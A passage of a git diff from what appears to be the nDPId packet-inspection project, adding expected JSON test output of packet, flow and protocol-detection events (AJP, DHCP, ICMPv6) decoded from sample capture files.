+00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":24,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":447617,"pkt_caplen":75,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":75,"pkt_l4_len":0,"pkt":"AFBWg47zAFBWg11YgQAABwgARQAAObLKQABABhyVrB0JkqwdCZOXyB9KcsXbMJOgLrmAGABzYJEAAAEBCApOnGnoHlfv2BI0AAEK"} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":24,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":25,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":447662,"pkt_caplen":94,"pkt_type":35075,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"Agq8AAAAAgq9AAAAiQNAIABQVoOO8wBQVoNdWIEAAAcIAEUAADyyyEAAQAYclKwdCZKsHQmTl8gfSXLF2y8AAAAAoAI5COYNAAACBAW0BAIICk6caecAAAAAAQMDBw=="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":25,"source":"ajp.pcap","alias":"nDPId-test","type":35075} +00391{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":26,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":447809,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"AFBWg11YAFBWg47zgQAABwgARQAANMFgQABABg4ErB0Jk6wdCZIfSpfIk6AuuXLF2zWAEAByfM4AAAEBCAoeV+\/ZTpxp6A=="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":26,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00410{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":27,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":447980,"pkt_caplen":86,"pkt_type":35075,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"Agq9AAAAAgq8AAAAiQNAIABQVoNdWABQVoOO84EAAAcIAEUAADTBYEAAQAYOBKwdCZOsHQmSH0mXyJOgLrlyxds1gBAAcnzPAAABAQgKHlfv2U6caeg="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":27,"source":"ajp.pcap","alias":"nDPId-test","type":35075} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":28,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":448303,"pkt_caplen":75,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":75,"pkt_l4_len":0,"pkt":"AFBWg11YAFBWg47zgQAABwgARQAAOcFhQABABg3+rB0Jk6wdCZIfSpfIk6AuuXLF2zWAGAByMn4AAAEBCAoeV+\/ZTpxp6EFCAAEJ"} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":28,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00420{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":29,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":448477,"pkt_caplen":91,"pkt_type":35075,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"pkt":"Agq9AAAAAgq8AAAAiQNAIABQVoNdWABQVoOO84EAAAcIAEUAADnBYUAAQAYN\/qwdCZOsHQmSH0mXyJOgLrlyxds1gBgAcjJ\/AAABAQgKHlfv2U6caehBQgABCQ=="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":29,"source":"ajp.pcap","alias":"nDPId-test","type":35075} +01517{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":30,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":448584,"pkt_caplen":912,"pkt_type":35075,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":912,"pkt_l4_len":0,"pkt":"Agq8AAAAAgq9AAAAiQNAIABQVoOO8wBQVoNdWIEAAAcIAEUAA26yzEAAQAYZXqwdCZKsHQmTl8gfSXLF2zWToC6+gBgAc\/j3AAABAQgKTpxp6B5X79kSNAM2AgQACEhUVFAvMS4xAAA0L0NDUC9wYWdlcy9yZWxhdG9yaW9zL3JlbGF0b3Jpb0RlT3JkZW1EZVNlcnZpY28uc2VhbQAADDE3Mi4yOS4wLjEyOQD\/\/wAXc2lzdGVtYXNjY3AuaW5lcC5nb3YuYnIAAFAAAA6gBgAKa2VlcC1hbGl2ZQAADUNhY2hlLUNvbnRyb2wAAAltYXgtYWdlPTAAAAZPcmlnaW4AAB5odHRwOi8vc2lzdGVtYXNjY3AuaW5lcC5nb3YuYnIAABlVcGdyYWRlLUluc2VjdXJlLVJlcXVlc3RzAAABMQCgDgBpTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNjAuMC4zMTEyLjExMyBTYWZhcmkvNTM3LjM2AKAHACFhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQAoAEAVXRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsaW1hZ2UvYXBuZywqLyo7cT0wLjgAoA0AW2h0dHA6Ly9zaXN0ZW1hc2NjcC5pbmVwLmdvdi5ici9DQ1AvcGFnZXMvcmVsYXRvcmlvcy9yZWxhdG9yaW9EZU9yZGVtRGVTZXJ2aWNvLnNlYW0\/Y2lkPTY4MDgAAA9BY2NlcHQtRW5jb2RpbmcAAARnemlwAAAPQWNjZXB0LUxhbmd1YWdlAAAjcHQtQlIscHQ7cT0wLjgsZW4tVVM7cT0wLjYsZW47cT0wLjQAoAgAAzIxOQCgCQAySlNFU1NJT05JRD0wODUzOTA3RDhFMzI0Nzc2QTc0QzJBNTBBMzI2NjRFMi4wMDkxNDcAoAsAF3Npc3RlbWFzY2NwLmluZXAuZ292LmJyAAAMWC1JTUZvcndhcmRzAAACMjAABgAGMDA5MTQ3AAoAD0FKUF9SRU1PVEVfUE9SVAAABDU3MDUACgAQSktfTEJfQUNUSVZBVElPTgAAA0FDVAD\/"} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":30,"source":"ajp.pcap","alias":"nDPId-test","type":35075} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":31,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":448596,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"AFBWg47zAFBWg11YgQAABwgARQAANLLLQABABhyZrB0JkqwdCZOXyB9KcsXbNZOgLr6AEABzfMgAAAEBCApOnGnoHlfv2Q=="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":31,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +01494{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":32,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":448604,"pkt_caplen":896,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":896,"pkt_l4_len":0,"pkt":"AFBWg47zAFBWg11YgQAABwgARQADbrLMQABABhlerB0JkqwdCZOXyB9KcsXbNZOgLr6AGABz+PYAAAEBCApOnGnoHlfv2RI0AzYCBAAISFRUUC8xLjEAADQvQ0NQL3BhZ2VzL3JlbGF0b3Jpb3MvcmVsYXRvcmlvRGVPcmRlbURlU2Vydmljby5zZWFtAAAMMTcyLjI5LjAuMTI5AP\/\/ABdzaXN0ZW1hc2NjcC5pbmVwLmdvdi5icgAAUAAADqAGAAprZWVwLWFsaXZlAAANQ2FjaGUtQ29udHJvbAAACW1heC1hZ2U9MAAABk9yaWdpbgAAHmh0dHA6Ly9zaXN0ZW1hc2NjcC5pbmVwLmdvdi5icgAAGVVwZ3JhZGUtSW5zZWN1cmUtUmVxdWVzdHMAAAExAKAOAGlNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS82MC4wLjMxMTIuMTEzIFNhZmFyaS81MzcuMzYAoAcAIWFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZACgAQBVdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksaW1hZ2Uvd2VicCxpbWFnZS9hcG5nLCovKjtxPTAuOACgDQBbaHR0cDovL3Npc3RlbWFzY2NwLmluZXAuZ292LmJyL0NDUC9wYWdlcy9yZWxhdG9yaW9zL3JlbGF0b3Jpb0RlT3JkZW1EZVNlcnZpY28uc2VhbT9jaWQ9NjgwOAAAD0FjY2VwdC1FbmNvZGluZwAABGd6aXAAAA9BY2NlcHQtTGFuZ3VhZ2UAACNwdC1CUixwdDtxPTAuOCxlbi1VUztxPTAuNixlbjtxPTAuNACgCAADMjE5AKAJADJKU0VTU0lPTklEPTA4NTM5MDdEOEUzMjQ3NzZBNzRDMkE1MEEzMjY2NEUyLjAwOTE0NwCgCwAXc2lzdGVtYXNjY3AuaW5lcC5nb3YuYnIAAAxYLUlNRm9yd2FyZHMAAAIyMAAGAAYwMDkxNDcACgAPQUpQX1JFTU9URV9QT1JUAAAENTcwNQAKABBKS19MQl9BQ1RJVkFUSU9OAAADQUNUAP8="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":32,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00692{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":33,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":448606,"pkt_caplen":295,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":295,"pkt_l4_len":0,"pkt":"AFBWg47zAFBWg11YgQAABwgARQABFbLNQABABhu2rB0JkqwdCZOXyB9KcsXeb5OgLr6AGABzI4oAAAEBCApOnGnpHlfv2RI0AN0A23JlbGF0b3Jpb0Zvcm09cmVsYXRvcmlvRm9ybSZ0aXBvUmVsYXRvcmlvT1NEZWNvcmF0ZSUzQXRpcG9SZWxhdG9yaW9PU1NlbGVjdD1PUkRFTV9ERV9TRVJWSUNPX0dFUkFMJkFEZWNvcmF0ZSUzQUFDaGVjaz1vbiZCRGVjb3JhdGUlM0FCQ2hlY2s9b24mQ0RlY29yYXRlJTNBQ0NoZWNrPW9uJmpfaWQxNTYueD0xMDEmal9pZDE1Ni55PTgmamF2YXguZmFjZXMuVmlld1N0YXRlPWpfaWQxMw=="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":33,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00391{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":34,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":448662,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"AFBWg11YAFBWg47zgQAABwgARQAANMFiQABABg4CrB0Jk6wdCZIfSpfIk6AuvnLF31CAEACLeJQAAAEBCAoeV+\/aTpxp6A=="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":34,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00410{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":35,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":448825,"pkt_caplen":86,"pkt_type":35075,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"Agq9AAAAAgq8AAAAiQNAIABQVoNdWABQVoOO84EAAAcIAEUAADTBYkAAQAYOAqwdCZOsHQmSH0mXyJOgLr5yxd9QgBAAi3iVAAABAQgKHlfv2k6caeg="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":35,"source":"ajp.pcap","alias":"nDPId-test","type":35075} +00698{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":36,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":617953,"pkt_caplen":300,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":300,"pkt_l4_len":0,"pkt":"AFBWg11YAFBWg47zgQAABwgARQABGsFjQABABg0brB0Jk6wdCZIfSpfIk6AuvnLF31CAGACL2L8AAAEBCAoeV\/CDTpxp6EFCAOIEAS4AEU1vdmVkIFRlbXBvcmFyaWx5AAAEAAxYLVBvd2VyZWQtQnkAACNTZXJ2bGV0IDIuNTsgSkJvc3MtNS4wL0pCb3NzV2ViLTIuMQAADFgtUG93ZXJlZC1CeQAAB0pTRi8xLjIAoAYAcGh0dHA6Ly9zaXN0ZW1hc2NjcC5pbmVwLmdvdi5ici9DQ1AvcGFnZXMvcmVsYXRvcmlvcy92aXN1YWxpemFyUmVsYXRvcmlvL3Zpc3VhbGl6YXJSZWxhdG9yaW9Pc0dlcmFsLnNlYW0\/Y2lkPTY4MDgAoAMAATAA"} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":36,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00399{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":37,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":617955,"pkt_caplen":76,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AFBWg11YAFBWg47zgQAABwgARQAAOsFkQABABg36rB0Jk6wdCZIfSpfIk6AvpHLF31CAGACLMLIAAAEBCAoeV\/CDTpxp6EFCAAIFAQ=="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":37,"source":"ajp.pcap","alias":"nDPId-test","type":33024} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":38,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505154584,"pkt_ts_usec":618218,"pkt_caplen":70,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"AFBWg47zAFBWg11YgQAABwgARQAANLLOQABABhyWrB0JkqwdCZOXyB9KcsXfUJOgL6qAEAB7dmUAAAEBCApOnGqSHlfwgw=="} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":38,"source":"ajp.pcap","alias":"nDPId-test","type":33024} diff --git a/test/results/alexa-app.pcapng.out b/test/results/alexa-app.pcapng.out new file mode 100644 index 000000000..9d3c059b5 --- /dev/null +++ b/test/results/alexa-app.pcapng.out @@ -0,0 +1,2288 @@ +00334{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976022,"pkt_ts_usec":526783,"pkt_caplen":20,"pkt_type":6,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":20,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/ePiC0\/vCAAYAAa+BAQA="} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1,"source":"alexa-app.pcapng","alias":"nDPId-test","type":6} +00334{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976022,"pkt_ts_usec":526847,"pkt_caplen":20,"pkt_type":6,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":20,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/ePiC0\/vCAAYAAa+BAQA="} +00157{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2,"source":"alexa-app.pcapng","alias":"nDPId-test","type":6} +00440{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1490976022731,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip6","src_ip":"::","dst_ip":"ff02::1:ffd3:fbc2","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976022,"pkt_ts_usec":731312,"pkt_caplen":78,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":78,"pkt_l4_len":24,"pkt":"MzP\/0\/vCePiC0\/vCht1gAAAAABg6\/wAAAAAAAAAAAAAAAAAAAAD\/AgAAAAAAAAAAAAH\/0\/vChwCHAgAAAAD+gAAAAAAAAHr4gv\/+0\/vC"} +00474{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1490976022731,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip6","src_ip":"::","dst_ip":"ff02::1:ffd3:fbc2","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00452{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976022,"pkt_ts_usec":731374,"pkt_caplen":78,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":78,"pkt_l4_len":24,"pkt":"MzP\/0\/vCePiC0\/vCht1gAAAAABg6\/wAAAAAAAAAAAAAAAAAAAAD\/AgAAAAAAAAAAAAH\/0\/vChwCHAgAAAAD+gAAAAAAAAHr4gv\/+0\/vC"} +00431{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1490976022741,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip6","src_ip":"::","dst_ip":"ff02::16","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976022,"pkt_ts_usec":741105,"pkt_caplen":90,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":90,"pkt_l4_len":28,"pkt":"MzMAAAAWePiC0\/vCht1gAAAAACQAAQAAAAAAAAAAAAAAAAAAAAD\/AgAAAAAAAAAAAAAAAAAWOgAFAgAAAQCPAHL0AAAAAQQAAAD\/AgAAAAAAAAAAAAH\/0\/vC"} +00465{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1490976022741,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip6","src_ip":"::","dst_ip":"ff02::16","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00464{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976022,"pkt_ts_usec":741164,"pkt_caplen":90,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":90,"pkt_l4_len":28,"pkt":"MzMAAAAWePiC0\/vCht1gAAAAACQAAQAAAAAAAAAAAAAAAAAAAAD\/AgAAAAAAAAAAAAAAAAAWOgAFAgAAAQCPAHL0AAAAAQQAAAD\/AgAAAAAAAAAAAAH\/0\/vC"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1490976023264,"flow_last_seen":0,"flow_tot_l4_data_len":323,"flow_min_l4_data_len":323,"flow_max_l4_data_len":323,"flow_avg_l4_data_len":323,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00833{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976023,"pkt_ts_usec":264023,"pkt_caplen":357,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":357,"pkt_l4_len":323,"pkt":"\/\/\/\/\/\/\/\/ePiC0\/vCCABFAAFX84EAAEARhhUAAAAA\/\/\/\/\/wBEAEMBQ5j9AQEGAHxtfzEAAAAAAAAAAAAAAAAAAAAAAAAAAHj4gtP7wgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEDPQcBePiC0\/vCMgSsECrYOQIF3DwMZGhjcGNkLTUuNS42DBhhbmRyb2lkLTFjMTMzNWVjOTVhMjczMTg3CgEhAwYPGhwzOjv\/"} +00549{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1490976023264,"flow_last_seen":0,"flow_tot_l4_data_len":323,"flow_min_l4_data_len":323,"flow_max_l4_data_len":323,"flow_avg_l4_data_len":323,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,33,3,6,15,26,28"}} +00833{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976023,"pkt_ts_usec":264087,"pkt_caplen":357,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":357,"pkt_l4_len":323,"pkt":"\/\/\/\/\/\/\/\/ePiC0\/vCCABFAAFX84EAAEARhhUAAAAA\/\/\/\/\/wBEAEMBQ5j9AQEGAHxtfzEAAAAAAAAAAAAAAAAAAAAAAAAAAHj4gtP7wgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEDPQcBePiC0\/vCMgSsECrYOQIF3DwMZGhjcGNkLTUuNS42DBhhbmRyb2lkLTFjMTMzNWVjOTVhMjczMTg3CgEhAwYPGhwzOjv\/"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1490976023267,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.1","dst_ip":"172.16.42.216","src_port":67,"dst_port":68,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00804{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976023,"pkt_ts_usec":267639,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"ePiC0\/vCAMDKkaPvCABFAAFIz1MAAEAR\/VesECoBrBAq2ABDAEQBNCIdAgEGAHxtfzEAAAAAAAAAAKwQKtisECoBAAAAAHj4gtP7wgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgSsECoBMwQAAKjAOgQAAFRgOwQAAJOoAQT\/\/\/8AHASsECr\/AwSsECoBBgSsECoBDwNsYW7\/AAAA"} +00534{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1490976023267,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.1","dst_ip":"172.16.42.216","src_port":67,"dst_port":68,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":""}} +00454{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1490976023731,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::7af8:82ff:fed3:fbc2","dst_ip":"ff02::2","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976023,"pkt_ts_usec":731065,"pkt_caplen":70,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":70,"pkt_l4_len":16,"pkt":"MzMAAAACePiC0\/vCht1gAAAAABA6\/\/6AAAAAAAAAeviC\/\/7T+8L\/AgAAAAAAAAAAAAAAAAAChQCMEAAAAAABAXj4gtP7wg=="} 